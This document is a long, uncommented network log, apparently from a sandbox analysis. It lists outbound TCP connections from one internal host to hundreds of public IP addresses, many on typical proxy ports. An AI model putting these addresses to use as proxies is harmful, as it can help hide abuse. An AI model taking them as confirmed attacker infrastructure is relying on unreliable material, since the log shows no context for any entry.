Source: global traffic	TCP traffic: 192.168.2.5:49865 -> 138.68.24.185:55010
Source: global traffic	TCP traffic: 192.168.2.5:49866 -> 72.10.160.171:5105
Source: global traffic	TCP traffic: 192.168.2.5:49867 -> 87.238.192.249:34320
Source: global traffic	TCP traffic: 192.168.2.5:49868 -> 103.107.84.124:8080
Source: global traffic	TCP traffic: 192.168.2.5:49870 -> 45.188.166.52:1994
Source: global traffic	TCP traffic: 192.168.2.5:49871 -> 72.10.160.93:25873
Source: global traffic	TCP traffic: 192.168.2.5:49872 -> 69.27.150.166:5678
Source: global traffic	TCP traffic: 192.168.2.5:49873 -> 185.136.151.252:5678
Source: global traffic	TCP traffic: 192.168.2.5:49874 -> 103.55.33.59:8080
Source: global traffic	TCP traffic: 192.168.2.5:49875 -> 162.241.158.204:59991
Source: global traffic	TCP traffic: 192.168.2.5:49876 -> 148.72.209.174:4734
Source: global traffic	TCP traffic: 192.168.2.5:49877 -> 167.172.158.55:8000
Source: global traffic	TCP traffic: 192.168.2.5:49879 -> 103.115.227.201:8071
Source: global traffic	TCP traffic: 192.168.2.5:49880 -> 117.70.49.235:8089
Source: global traffic	TCP traffic: 192.168.2.5:49882 -> 178.176.134.67:3629
Source: global traffic	TCP traffic: 192.168.2.5:49883 -> 148.66.130.53:23998
Source: global traffic	TCP traffic: 192.168.2.5:49884 -> 103.35.189.217:1080
Source: global traffic	TCP traffic: 192.168.2.5:49885 -> 159.89.238.138:8000
Source: global traffic	TCP traffic: 192.168.2.5:49886 -> 67.22.28.62:8080
Source: global traffic	TCP traffic: 192.168.2.5:49887 -> 178.128.156.219:8000
Source: global traffic	TCP traffic: 192.168.2.5:49888 -> 41.223.232.117:3128
Source: global traffic	TCP traffic: 192.168.2.5:49889 -> 20.24.43.214:8123
Source: global traffic	TCP traffic: 192.168.2.5:49890 -> 162.241.137.197:36534
Source: global traffic	TCP traffic: 192.168.2.5:49891 -> 188.132.222.167:8080
Source: global traffic	TCP traffic: 192.168.2.5:49892 -> 103.76.172.230:4153
Source: global traffic	TCP traffic: 192.168.2.5:49893 -> 51.15.230.100:16379
Source: global traffic	TCP traffic: 192.168.2.5:49895 -> 173.212.209.49:44416
Source: global traffic	TCP traffic: 192.168.2.5:49894 -> 103.146.170.193:83
Source: global traffic	TCP traffic: 192.168.2.5:49896 -> 184.178.172.28:15294
Source: global traffic	TCP traffic: 192.168.2.5:49897 -> 51.158.111.76:16379
Source: global traffic	TCP traffic: 192.168.2.5:49899 -> 37.187.91.192:17605
Source: global traffic	TCP traffic: 192.168.2.5:49900 -> 65.109.231.142:3128
Source: global traffic	TCP traffic: 192.168.2.5:49902 -> 144.48.111.7:8674
Source: global traffic	TCP traffic: 192.168.2.5:49904 -> 104.248.146.99:3128
Source: global traffic	TCP traffic: 192.168.2.5:49905 -> 203.19.38.114:1080
Source: global traffic	TCP traffic: 192.168.2.5:49906 -> 113.223.215.71:8089
Source: global traffic	TCP traffic: 192.168.2.5:49907 -> 137.59.48.20:8080
Source: global traffic	TCP traffic: 192.168.2.5:49908 -> 45.228.147.209:5678
Source: global traffic	TCP traffic: 192.168.2.5:49909 -> 170.80.91.12:4145
Source: global traffic	TCP traffic: 192.168.2.5:49910 -> 177.234.194.157:999
Source: global traffic	TCP traffic: 192.168.2.5:49912 -> 91.203.114.71:38838
Source: global traffic	TCP traffic: 192.168.2.5:49913 -> 171.22.108.188:3128
Source: global traffic	TCP traffic: 192.168.2.5:49914 -> 200.55.249.135:8080
Source: global traffic	TCP traffic: 192.168.2.5:49915 -> 223.18.60.191:8080
Source: global traffic	TCP traffic: 192.168.2.5:49916 -> 114.106.134.37:8089
Source: global traffic	TCP traffic: 192.168.2.5:49918 -> 41.217.223.145:32650
Source: global traffic	TCP traffic: 192.168.2.5:49917 -> 103.233.2.90:4893
Source: global traffic	TCP traffic: 192.168.2.5:49919 -> 186.103.130.93:8080
Source: global traffic	TCP traffic: 192.168.2.5:49920 -> 107.180.88.173:59820
Source: global traffic	TCP traffic: 192.168.2.5:49922 -> 162.0.220.220:23924
Source: global traffic	TCP traffic: 192.168.2.5:49924 -> 36.75.16.40:4153
Source: global traffic	TCP traffic: 192.168.2.5:49928 -> 190.14.5.162:5678
Source: global traffic	TCP traffic: 192.168.2.5:49930 -> 98.162.25.23:4145
Source: global traffic	TCP traffic: 192.168.2.5:49931 -> 162.214.121.173:64579
Source: global traffic	TCP traffic: 192.168.2.5:49932 -> 43.133.71.20:15673
Source: global traffic	TCP traffic: 192.168.2.5:49933 -> 161.132.125.244:8080
Source: global traffic	TCP traffic: 192.168.2.5:49935 -> 119.47.90.45:8080
Source: global traffic	TCP traffic: 192.168.2.5:49937 -> 181.209.78.78:999
Source: global traffic	TCP traffic: 192.168.2.5:49938 -> 119.18.146.114:5020
Source: global traffic	TCP traffic: 192.168.2.5:49939 -> 103.153.136.10:8080
Source: global traffic	TCP traffic: 192.168.2.5:49940 -> 168.227.158.1:4145
Source: global traffic	TCP traffic: 192.168.2.5:49941 -> 138.36.86.237:5678
Source: global traffic	TCP traffic: 192.168.2.5:49942 -> 177.136.84.200:999
Source: global traffic	TCP traffic: 192.168.2.5:49943 -> 65.1.244.232:1080
Source: global traffic	TCP traffic: 192.168.2.5:49944 -> 179.99.202.210:4153
Source: global traffic	TCP traffic: 192.168.2.5:49945 -> 49.145.119.102:8085
Source: global traffic	TCP traffic: 192.168.2.5:49947 -> 38.156.75.14:8080
Source: global traffic	TCP traffic: 192.168.2.5:49948 -> 170.246.85.106:50991
Source: global traffic	TCP traffic: 192.168.2.5:49949 -> 67.43.228.253:18753
Source: global traffic	TCP traffic: 192.168.2.5:49950 -> 193.200.151.158:8192
Source: global traffic	TCP traffic: 192.168.2.5:49951 -> 103.121.39.158:1080
Source: global traffic	TCP traffic: 192.168.2.5:49952 -> 176.241.143.197:8080
Source: global traffic	TCP traffic: 192.168.2.5:49954 -> 103.159.92.34:3125
Source: global traffic	TCP traffic: 192.168.2.5:49955 -> 5.58.239.210:8080
Source: global traffic	TCP traffic: 192.168.2.5:49956 -> 82.62.241.62:3128
Source: global traffic	TCP traffic: 192.168.2.5:49957 -> 185.23.118.252:53701
Source: global traffic	TCP traffic: 192.168.2.5:49959 -> 177.230.183.185:10101
Source: global traffic	TCP traffic: 192.168.2.5:49960 -> 51.79.87.144:30464
Source: global traffic	TCP traffic: 192.168.2.5:49961 -> 202.191.123.195:8090
Source: global traffic	TCP traffic: 192.168.2.5:49958 -> 47.236.36.58:8888
Source: global traffic	TCP traffic: 192.168.2.5:49962 -> 38.7.18.102:8080
Source: global traffic	TCP traffic: 192.168.2.5:49963 -> 45.230.51.130:999
Source: global traffic	TCP traffic: 192.168.2.5:49965 -> 38.91.107.220:34357
Source: global traffic	TCP traffic: 192.168.2.5:49966 -> 103.127.38.46:1080
Source: global traffic	TCP traffic: 192.168.2.5:49967 -> 104.165.169.8:3128
Source: global traffic	TCP traffic: 192.168.2.5:49968 -> 181.212.41.171:999
Source: global traffic	TCP traffic: 192.168.2.5:49969 -> 190.109.72.10:33633
Source: global traffic	TCP traffic: 192.168.2.5:49970 -> 51.222.241.157:22538
Source: global traffic	TCP traffic: 192.168.2.5:49971 -> 158.51.210.75:7777
Source: global traffic	TCP traffic: 192.168.2.5:49973 -> 61.7.143.93:8180
Source: global traffic	TCP traffic: 192.168.2.5:49974 -> 42.49.148.167:9001
Source: global traffic	TCP traffic: 192.168.2.5:49975 -> 210.5.10.87:53281
Source: global traffic	TCP traffic: 192.168.2.5:49976 -> 128.199.104.93:8000
Source: global traffic	TCP traffic: 192.168.2.5:49977 -> 132.148.167.243:17702
Source: global traffic	TCP traffic: 192.168.2.5:49978 -> 165.227.196.37:53718
Source: global traffic	TCP traffic: 192.168.2.5:49981 -> 8.243.162.242:999
Source: global traffic	TCP traffic: 192.168.2.5:49983 -> 38.162.4.242:3128
Source: global traffic	TCP traffic: 192.168.2.5:49980 -> 128.199.202.122:3128
Source: global traffic	TCP traffic: 192.168.2.5:49984 -> 190.69.157.213:999
Source: global traffic	TCP traffic: 192.168.2.5:49985 -> 36.64.22.18:8199
Source: global traffic	TCP traffic: 192.168.2.5:49986 -> 72.210.252.137:4145
Source: global traffic	TCP traffic: 192.168.2.5:49989 -> 92.204.134.38:9375
Source: global traffic	TCP traffic: 192.168.2.5:49990 -> 62.122.201.246:50129
Source: global traffic	TCP traffic: 192.168.2.5:49991 -> 132.148.6.255:20859
Source: global traffic	TCP traffic: 192.168.2.5:49992 -> 159.223.166.21:47460
Source: global traffic	TCP traffic: 192.168.2.5:49993 -> 50.113.36.155:8080
Source: global traffic	TCP traffic: 192.168.2.5:49995 -> 110.93.227.28:3128
Source: global traffic	TCP traffic: 192.168.2.5:49996 -> 203.95.198.146:8080
Source: global traffic	TCP traffic: 192.168.2.5:49998 -> 212.192.31.37:3128
Source: global traffic	TCP traffic: 192.168.2.5:49999 -> 103.111.219.245:4145
Source: global traffic	TCP traffic: 192.168.2.5:50000 -> 66.228.35.209:44809
Source: global traffic	TCP traffic: 192.168.2.5:50001 -> 41.65.236.37:1981
Source: global traffic	TCP traffic: 192.168.2.5:50007 -> 67.43.236.20:8209
Source: global traffic	TCP traffic: 192.168.2.5:50008 -> 178.115.230.243:8080
Source: global traffic	TCP traffic: 192.168.2.5:50010 -> 191.53.112.170:45619
Source: global traffic	TCP traffic: 192.168.2.5:50011 -> 47.56.110.204:8989
Source: global traffic	TCP traffic: 192.168.2.5:50012 -> 154.0.14.116:3128
Source: global traffic	TCP traffic: 192.168.2.5:50013 -> 123.182.59.109:8089
Source: global traffic	TCP traffic: 192.168.2.5:50014 -> 140.227.61.156:23456
Source: global traffic	TCP traffic: 192.168.2.5:50016 -> 146.59.18.246:29066
Source: global traffic	TCP traffic: 192.168.2.5:50017 -> 212.50.19.150:4153
Source: global traffic	TCP traffic: 192.168.2.5:50018 -> 161.97.147.193:2838
Source: global traffic	TCP traffic: 192.168.2.5:50020 -> 91.134.140.160:51513
Source: global traffic	TCP traffic: 192.168.2.5:50021 -> 162.214.225.223:36129
Source: global traffic	TCP traffic: 192.168.2.5:50024 -> 36.66.36.252:4153
Source: global traffic	TCP traffic: 192.168.2.5:50025 -> 20.219.177.73:3129
Source: global traffic	TCP traffic: 192.168.2.5:50027 -> 46.100.106.242:6030
Source: global traffic	TCP traffic: 192.168.2.5:50028 -> 184.178.172.18:15280
Source: global traffic	TCP traffic: 192.168.2.5:50029 -> 159.192.232.226:52335
Source: global traffic	TCP traffic: 192.168.2.5:50030 -> 188.132.222.23:8080
Source: global traffic	TCP traffic: 192.168.2.5:50031 -> 142.11.215.30:8080
Source: global traffic	TCP traffic: 192.168.2.5:50032 -> 190.120.249.6:999
Source: global traffic	TCP traffic: 192.168.2.5:50033 -> 197.155.237.74:8111
Source: global traffic	TCP traffic: 192.168.2.5:50034 -> 91.148.127.162:8080
Source: global traffic	TCP traffic: 192.168.2.5:50036 -> 125.87.84.46:8089
Source: global traffic	TCP traffic: 192.168.2.5:50037 -> 159.203.61.169:3128
Source: global traffic	TCP traffic: 192.168.2.5:50038 -> 82.65.240.111:3128
Source: global traffic	TCP traffic: 192.168.2.5:50039 -> 93.190.142.57:41890
Source: global traffic	TCP traffic: 192.168.2.5:50040 -> 200.199.195.138:4145
Source: global traffic	TCP traffic: 192.168.2.5:50041 -> 62.182.114.164:59623
Source: global traffic	TCP traffic: 192.168.2.5:50042 -> 161.97.173.42:5379
Source: global traffic	TCP traffic: 192.168.2.5:50043 -> 190.217.69.203:999
Source: global traffic	TCP traffic: 192.168.2.5:50045 -> 103.116.174.125:5678
Source: global traffic	TCP traffic: 192.168.2.5:50046 -> 190.110.99.189:999
Source: global traffic	TCP traffic: 192.168.2.5:50047 -> 114.6.25.5:65432
Source: global traffic	TCP traffic: 192.168.2.5:50048 -> 185.219.133.106:3128
Source: global traffic	TCP traffic: 192.168.2.5:50049 -> 38.162.28.61:3128
Source: global traffic	TCP traffic: 192.168.2.5:50050 -> 46.173.35.229:3629
Source: global traffic	TCP traffic: 192.168.2.5:50052 -> 122.129.112.209:4145
Source: global traffic	TCP traffic: 192.168.2.5:50053 -> 208.87.131.240:41368
Source: global traffic	TCP traffic: 192.168.2.5:50055 -> 85.102.10.94:4153
Source: global traffic	TCP traffic: 192.168.2.5:50056 -> 103.79.96.141:4153
Source: global traffic	TCP traffic: 192.168.2.5:50057 -> 37.120.222.132:3128
Source: global traffic	TCP traffic: 192.168.2.5:50058 -> 88.202.230.103:17045
Source: global traffic	TCP traffic: 192.168.2.5:50059 -> 195.178.33.86:8080
Source: global traffic	TCP traffic: 192.168.2.5:50002 -> 181.115.75.102:5678
Source: global traffic	TCP traffic: 192.168.2.5:50060 -> 167.99.55.197:3128
Source: global traffic	TCP traffic: 192.168.2.5:50062 -> 103.165.155.68:1111
Source: global traffic	TCP traffic: 192.168.2.5:50063 -> 51.38.63.124:27294
Source: global traffic	TCP traffic: 192.168.2.5:50064 -> 14.115.107.232:3629
Source: global traffic	TCP traffic: 192.168.2.5:50065 -> 92.241.66.138:4145
Source: global traffic	TCP traffic: 192.168.2.5:50066 -> 3.122.84.99:3128
Source: global traffic	TCP traffic: 192.168.2.5:50067 -> 159.65.39.234:7732
Source: global traffic	TCP traffic: 192.168.2.5:50069 -> 92.118.132.125:8080
Source: global traffic	TCP traffic: 192.168.2.5:50070 -> 62.112.11.204:26431
Source: global traffic	TCP traffic: 192.168.2.5:50072 -> 185.128.153.10:8080
Source: global traffic	TCP traffic: 192.168.2.5:50074 -> 46.209.100.252:5678
Source: global traffic	TCP traffic: 192.168.2.5:50075 -> 37.52.50.28:5678
Source: global traffic	TCP traffic: 192.168.2.5:50076 -> 45.70.236.121:8080
Source: global traffic	TCP traffic: 192.168.2.5:50077 -> 107.152.98.5:4145
Source: global traffic	TCP traffic: 192.168.2.5:50078 -> 91.199.93.32:4153
Source: global traffic	TCP traffic: 192.168.2.5:50079 -> 171.243.25.220:31350
Source: global traffic	TCP traffic: 192.168.2.5:50080 -> 223.206.142.49:8080
Source: global traffic	TCP traffic: 192.168.2.5:50083 -> 103.186.90.18:8080
Source: global traffic	TCP traffic: 192.168.2.5:50086 -> 101.255.140.1:8090
Source: global traffic	TCP traffic: 192.168.2.5:50088 -> 5.34.201.244:3128
Source: global traffic	TCP traffic: 192.168.2.5:50089 -> 107.180.90.88:62908
Source: global traffic	TCP traffic: 192.168.2.5:50085 -> 206.42.40.0:5678
Source: global traffic	TCP traffic: 192.168.2.5:50091 -> 189.203.181.34:8080
Source: global traffic	TCP traffic: 192.168.2.5:50093 -> 103.216.51.36:32650
Source: global traffic	TCP traffic: 192.168.2.5:50094 -> 67.43.228.251:5999
Source: global traffic	TCP traffic: 192.168.2.5:50097 -> 103.156.140.237:8080
Source: global traffic	TCP traffic: 192.168.2.5:50099 -> 51.161.131.84:49202
Source: global traffic	TCP traffic: 192.168.2.5:50101 -> 190.104.20.85:8080
Source: global traffic	TCP traffic: 192.168.2.5:50102 -> 18.134.236.231:3128
Source: global traffic	TCP traffic: 192.168.2.5:50103 -> 159.223.71.71:51187
Source: global traffic	TCP traffic: 192.168.2.5:50104 -> 190.138.250.48:3629
Source: global traffic	TCP traffic: 192.168.2.5:50105 -> 113.99.188.254:4153
Source: global traffic	TCP traffic: 192.168.2.5:50107 -> 183.96.235.105:18572
Source: global traffic	TCP traffic: 192.168.2.5:50108 -> 37.187.77.58:13412
Source: global traffic	TCP traffic: 192.168.2.5:50109 -> 38.52.222.254:999
Source: global traffic	TCP traffic: 192.168.2.5:50110 -> 1.20.220.79:4145
Source: global traffic	TCP traffic: 192.168.2.5:50111 -> 154.79.254.236:32650
Source: global traffic	TCP traffic: 192.168.2.5:50113 -> 46.101.102.134:3128
Source: global traffic	TCP traffic: 192.168.2.5:50114 -> 203.96.177.211:55005
Source: global traffic	TCP traffic: 192.168.2.5:50115 -> 103.165.155.163:1111
Source: global traffic	TCP traffic: 192.168.2.5:50116 -> 94.177.106.178:2324
Source: global traffic	TCP traffic: 192.168.2.5:50117 -> 160.153.245.187:59786
Source: global traffic	TCP traffic: 192.168.2.5:50118 -> 103.167.68.255:8080
Source: global traffic	TCP traffic: 192.168.2.5:50119 -> 160.251.6.106:10008
Source: global traffic	TCP traffic: 192.168.2.5:50120 -> 144.76.92.16:14618
Source: global traffic	TCP traffic: 192.168.2.5:50121 -> 213.6.155.9:19000
Source: global traffic	TCP traffic: 192.168.2.5:50123 -> 94.247.241.70:53640
Source: global traffic	TCP traffic: 192.168.2.5:50124 -> 175.100.91.151:8080
Source: global traffic	TCP traffic: 192.168.2.5:50125 -> 103.148.130.5:8080
Source: global traffic	TCP traffic: 192.168.2.5:50127 -> 144.91.66.30:51110
Source: global traffic	TCP traffic: 192.168.2.5:50128 -> 201.77.108.64:999
Source: global traffic	TCP traffic: 192.168.2.5:50129 -> 184.185.2.12:4145
Source: global traffic	TCP traffic: 192.168.2.5:50130 -> 94.23.83.53:55806
Source: global traffic	TCP traffic: 192.168.2.5:50131 -> 198.12.255.193:9375
Source: global traffic	TCP traffic: 192.168.2.5:50132 -> 160.248.80.91:8080
Source: global traffic	TCP traffic: 192.168.2.5:50133 -> 162.240.39.58:45840
Source: global traffic	TCP traffic: 192.168.2.5:50136 -> 38.54.95.19:9080
Source: global traffic	TCP traffic: 192.168.2.5:50137 -> 199.102.106.94:4145
Source: global traffic	TCP traffic: 192.168.2.5:50138 -> 103.85.114.249:8080
Source: global traffic	TCP traffic: 192.168.2.5:50139 -> 184.181.217.220:4145
Source: global traffic	TCP traffic: 192.168.2.5:50140 -> 222.124.177.148:7497
Source: global traffic	TCP traffic: 192.168.2.5:50141 -> 185.236.202.170:3128
Source: global traffic	TCP traffic: 192.168.2.5:50143 -> 95.142.40.99:42140
Source: global traffic	TCP traffic: 192.168.2.5:50144 -> 155.185.15.56:3128
Source: global traffic	TCP traffic: 192.168.2.5:50145 -> 103.19.129.137:83
Source: global traffic	TCP traffic: 192.168.2.5:50146 -> 143.202.97.171:999
Source: global traffic	TCP traffic: 192.168.2.5:50147 -> 45.4.252.217:999
Source: global traffic	TCP traffic: 192.168.2.5:50148 -> 103.255.147.102:83
Source: global traffic	TCP traffic: 192.168.2.5:50149 -> 124.158.186.254:8080
Source: global traffic	TCP traffic: 192.168.2.5:50151 -> 186.215.87.194:6000
Source: global traffic	TCP traffic: 192.168.2.5:50152 -> 20.204.212.45:3129
Source: global traffic	TCP traffic: 192.168.2.5:50153 -> 165.227.104.122:29992
Source: global traffic	TCP traffic: 192.168.2.5:50155 -> 118.99.108.4:8080
Source: global traffic	TCP traffic: 192.168.2.5:50156 -> 45.70.237.139:4145
Source: global traffic	TCP traffic: 192.168.2.5:50157 -> 68.1.210.163:4145
Source: global traffic	TCP traffic: 192.168.2.5:50158 -> 179.108.209.63:8080
Source: global traffic	TCP traffic: 192.168.2.5:50159 -> 66.29.129.54:47036
Source: global traffic	TCP traffic: 192.168.2.5:50160 -> 46.28.111.54:1080
Source: global traffic	TCP traffic: 192.168.2.5:50161 -> 190.211.5.232:999
Source: global traffic	TCP traffic: 192.168.2.5:50164 -> 39.74.195.25:9000
Source: global traffic	TCP traffic: 192.168.2.5:50165 -> 180.241.249.131:8080
Source: global traffic	TCP traffic: 192.168.2.5:50167 -> 85.214.249.84:3128
Source: global traffic	TCP traffic: 192.168.2.5:50168 -> 197.234.121.222:8291
Source: global traffic	TCP traffic: 192.168.2.5:50169 -> 185.65.205.171:8080
Source: global traffic	TCP traffic: 192.168.2.5:50170 -> 197.234.13.14:4145
Source: global traffic	TCP traffic: 192.168.2.5:50172 -> 110.76.129.30:5678
Source: global traffic	TCP traffic: 192.168.2.5:50176 -> 185.189.112.157:3128
Source: global traffic	TCP traffic: 192.168.2.5:50177 -> 103.79.96.218:4153
Source: global traffic	TCP traffic: 192.168.2.5:50181 -> 45.118.132.180:45449
Source: global traffic	TCP traffic: 192.168.2.5:50182 -> 41.33.203.235:1976
Source: global traffic	TCP traffic: 192.168.2.5:50183 -> 193.8.87.43:4444
Source: global traffic	TCP traffic: 192.168.2.5:50184 -> 180.183.3.79:8080
Source: global traffic	TCP traffic: 192.168.2.5:50185 -> 45.162.132.1:999
Source: global traffic	TCP traffic: 192.168.2.5:50186 -> 54.223.158.88:8080
Source: global traffic	TCP traffic: 192.168.2.5:50189 -> 142.54.239.1:4145
Source: global traffic	TCP traffic: 192.168.2.5:50188 -> 164.92.86.113:54597
Source: global traffic	TCP traffic: 192.168.2.5:50190 -> 142.54.235.9:4145
Source: global traffic	TCP traffic: 192.168.2.5:50191 -> 194.233.78.142:35513
Source: global traffic	TCP traffic: 192.168.2.5:50192 -> 103.153.135.100:8083
Source: global traffic	TCP traffic: 192.168.2.5:50193 -> 162.241.46.6:62244
Source: global traffic	TCP traffic: 192.168.2.5:50195 -> 91.92.80.199:4145
Source: global traffic	TCP traffic: 192.168.2.5:50196 -> 163.172.166.35:16379
Source: global traffic	TCP traffic: 192.168.2.5:50197 -> 162.214.102.195:34227
Source: global traffic	TCP traffic: 192.168.2.5:50199 -> 92.241.92.218:14888
Source: global traffic	TCP traffic: 192.168.2.5:50200 -> 45.230.39.123:999
Source: global traffic	TCP traffic: 192.168.2.5:50202 -> 36.93.138.75:5678
Source: global traffic	TCP traffic: 192.168.2.5:50203 -> 103.76.12.58:3128
Source: global traffic	TCP traffic: 192.168.2.5:50204 -> 188.132.222.12:8080
Source: global traffic	TCP traffic: 192.168.2.5:50205 -> 154.239.9.94:8080
Source: global traffic	TCP traffic: 192.168.2.5:50207 -> 162.210.192.136:57403
Source: global traffic	TCP traffic: 192.168.2.5:50209 -> 72.10.160.172:27283
Source: global traffic	TCP traffic: 192.168.2.5:50210 -> 209.14.112.5:1080
Source: global traffic	TCP traffic: 192.168.2.5:50198 -> 165.22.96.68:3128
Source: global traffic	TCP traffic: 192.168.2.5:50208 -> 103.63.190.37:8080
Source: global traffic	TCP traffic: 192.168.2.5:50212 -> 27.145.61.163:8080
Source: global traffic	TCP traffic: 192.168.2.5:50213 -> 103.247.216.70:8080
Source: global traffic	TCP traffic: 192.168.2.5:50217 -> 47.88.3.19:8080
Source: global traffic	TCP traffic: 192.168.2.5:50219 -> 124.160.118.183:8080
Source: global traffic	TCP traffic: 192.168.2.5:50220 -> 62.171.131.101:35006
Source: global traffic	TCP traffic: 192.168.2.5:50223 -> 37.187.73.7:23637
Source: global traffic	TCP traffic: 192.168.2.5:50225 -> 186.251.255.93:31337
Source: global traffic	TCP traffic: 192.168.2.5:50226 -> 186.226.171.94:1080
Source: global traffic	TCP traffic: 192.168.2.5:50229 -> 50.250.205.21:32100
Source: global traffic	TCP traffic: 192.168.2.5:50230 -> 38.162.25.44:3128
Source: global traffic	TCP traffic: 192.168.2.5:50231 -> 103.144.209.104:3629
Source: global traffic	TCP traffic: 192.168.2.5:50232 -> 47.245.56.108:18181
Source: global traffic	TCP traffic: 192.168.2.5:50234 -> 51.158.77.220:16379
Source: global traffic	TCP traffic: 192.168.2.5:50235 -> 103.245.109.172:8080
Source: global traffic	TCP traffic: 192.168.2.5:50237 -> 154.79.246.18:9898
Source: global traffic	TCP traffic: 192.168.2.5:50239 -> 201.157.254.26:8080
Source: global traffic	TCP traffic: 192.168.2.5:50240 -> 123.182.59.164:8089
Source: global traffic	TCP traffic: 192.168.2.5:50242 -> 36.95.48.45:1080
Source: global traffic	TCP traffic: 192.168.2.5:50244 -> 171.244.140.160:24015
Source: global traffic	TCP traffic: 192.168.2.5:50245 -> 109.238.208.138:21231
Source: global traffic	TCP traffic: 192.168.2.5:50246 -> 196.251.222.234:8104
Source: global traffic	TCP traffic: 192.168.2.5:50247 -> 31.24.44.92:52173
Source: global traffic	TCP traffic: 192.168.2.5:50248 -> 117.160.250.130:8899
Source: global traffic	TCP traffic: 192.168.2.5:50250 -> 195.74.72.111:5678
Source: global traffic	TCP traffic: 192.168.2.5:50251 -> 125.99.106.250:3128
Source: global traffic	TCP traffic: 192.168.2.5:50252 -> 103.105.55.170:8085
Source: global traffic	TCP traffic: 192.168.2.5:50253 -> 38.162.29.125:3128
Source: global traffic	TCP traffic: 192.168.2.5:50255 -> 46.226.148.105:36366
Source: global traffic	TCP traffic: 192.168.2.5:50256 -> 103.79.96.217:4153
Source: global traffic	TCP traffic: 192.168.2.5:50257 -> 212.102.103.133:4153
Source: global traffic	TCP traffic: 192.168.2.5:50258 -> 14.56.98.15:3128
Source: global traffic	TCP traffic: 192.168.2.5:50259 -> 31.170.19.241:4153
Source: global traffic	TCP traffic: 192.168.2.5:50261 -> 207.180.234.220:48963
Source: global traffic	TCP traffic: 192.168.2.5:50263 -> 148.101.163.165:8080
Source: global traffic	TCP traffic: 192.168.2.5:50265 -> 138.97.37.115:8189
Source: global traffic	TCP traffic: 192.168.2.5:50266 -> 176.99.2.43:1081
Source: global traffic	TCP traffic: 192.168.2.5:50267 -> 41.70.12.54:5678
Source: global traffic	TCP traffic: 192.168.2.5:50268 -> 5.10.249.159:1080
Source: global traffic	TCP traffic: 192.168.2.5:50271 -> 103.47.93.194:1080
Source: global traffic	TCP traffic: 192.168.2.5:50272 -> 103.82.11.209:4153
Source: global traffic	TCP traffic: 192.168.2.5:50273 -> 62.89.9.10:8080
Source: global traffic	TCP traffic: 192.168.2.5:50274 -> 139.99.197.2:3128
Source: global traffic	TCP traffic: 192.168.2.5:50275 -> 20.204.214.79:3129
Source: global traffic	TCP traffic: 192.168.2.5:50276 -> 36.91.98.115:8181
Source: global traffic	TCP traffic: 192.168.2.5:50278 -> 202.153.233.228:8080
Source: global traffic	TCP traffic: 192.168.2.5:50280 -> 103.35.190.18:3128
Source: global traffic	TCP traffic: 192.168.2.5:50281 -> 128.199.221.91:21605
Source: global traffic	TCP traffic: 192.168.2.5:50282 -> 178.212.51.166:33333
Source: global traffic	TCP traffic: 192.168.2.5:50283 -> 184.178.172.23:4145
Source: global traffic	TCP traffic: 192.168.2.5:50284 -> 51.158.105.107:16379
Source: global traffic	TCP traffic: 192.168.2.5:50285 -> 117.84.165.182:1080
Source: global traffic	TCP traffic: 192.168.2.5:50287 -> 183.91.80.194:8089
Source: global traffic	TCP traffic: 192.168.2.5:50289 -> 103.102.219.25:44550
Source: global traffic	TCP traffic: 192.168.2.5:50291 -> 72.195.34.42:4145
Source: global traffic	TCP traffic: 192.168.2.5:50292 -> 93.157.248.108:88
Source: global traffic	TCP traffic: 192.168.2.5:50294 -> 51.81.186.179:58630
Source: global traffic	TCP traffic: 192.168.2.5:50297 -> 38.41.0.60:11201
Source: global traffic	TCP traffic: 192.168.2.5:50298 -> 182.52.229.165:8080
Source: global traffic	TCP traffic: 192.168.2.5:50299 -> 105.234.156.109:4145
Source: global traffic	TCP traffic: 192.168.2.5:50301 -> 203.160.57.87:5678
Source: global traffic	TCP traffic: 192.168.2.5:50302 -> 185.200.37.245:8080
Source: global traffic	TCP traffic: 192.168.2.5:50303 -> 111.9.49.190:8060
Source: global traffic	TCP traffic: 192.168.2.5:50304 -> 212.5.193.219:8880
Source: global traffic	TCP traffic: 192.168.2.5:50306 -> 151.236.39.7:57248
Source: global traffic	TCP traffic: 192.168.2.5:50307 -> 20.219.182.59:3129
Source: global traffic	TCP traffic: 192.168.2.5:50308 -> 83.53.207.196:4145
Source: global traffic	TCP traffic: 192.168.2.5:50309 -> 72.167.38.7:45650
Source: global traffic	TCP traffic: 192.168.2.5:50313 -> 103.155.166.149:8181
Source: global traffic	TCP traffic: 192.168.2.5:50315 -> 104.165.127.146:3128
Source: global traffic	TCP traffic: 192.168.2.5:50317 -> 177.242.201.5:999
Source: global traffic	TCP traffic: 192.168.2.5:50318 -> 103.206.208.135:55443
Source: global traffic	TCP traffic: 192.168.2.5:50319 -> 132.148.245.55:22508
Source: global traffic	TCP traffic: 192.168.2.5:50321 -> 5.78.89.192:8080
Source: global traffic	TCP traffic: 192.168.2.5:50324 -> 148.72.212.198:3950
Source: global traffic	TCP traffic: 192.168.2.5:50325 -> 41.65.227.98:1981
Source: global traffic	TCP traffic: 192.168.2.5:50327 -> 203.218.172.225:8080
Source: global traffic	TCP traffic: 192.168.2.5:50331 -> 96.70.52.227:48324
Source: global traffic	TCP traffic: 192.168.2.5:50333 -> 92.205.61.38:36073
Source: global traffic	TCP traffic: 192.168.2.5:50334 -> 190.120.249.149:4145
Source: global traffic	TCP traffic: 192.168.2.5:50336 -> 101.230.172.86:9443
Source: global traffic	TCP traffic: 192.168.2.5:50339 -> 138.197.38.62:20220
Source: global traffic	TCP traffic: 192.168.2.5:50341 -> 168.205.100.36:8080
Source: global traffic	TCP traffic: 192.168.2.5:50342 -> 101.255.166.134:1111
Source: global traffic	TCP traffic: 192.168.2.5:50343 -> 67.213.212.56:51774
Source: global traffic	TCP traffic: 192.168.2.5:50344 -> 115.79.26.196:1080
Source: global traffic	TCP traffic: 192.168.2.5:50345 -> 65.1.40.47:1080
Source: global traffic	TCP traffic: 192.168.2.5:50346 -> 82.137.245.41:1080
Source: global traffic	TCP traffic: 192.168.2.5:50349 -> 37.148.217.234:999
Source: global traffic	TCP traffic: 192.168.2.5:50352 -> 31.172.66.22:20466
Source: global traffic	TCP traffic: 192.168.2.5:50354 -> 209.14.112.4:1080
Source: global traffic	TCP traffic: 192.168.2.5:50357 -> 83.243.92.154:8080
Source: global traffic	TCP traffic: 192.168.2.5:50358 -> 103.155.54.26:83
Source: global traffic	TCP traffic: 192.168.2.5:50360 -> 146.19.106.42:12334
Source: global traffic	TCP traffic: 192.168.2.5:50362 -> 138.0.207.18:38328
Source: global traffic	TCP traffic: 192.168.2.5:50365 -> 114.106.171.192:8089
Source: global traffic	TCP traffic: 192.168.2.5:50366 -> 72.128.133.154:16099
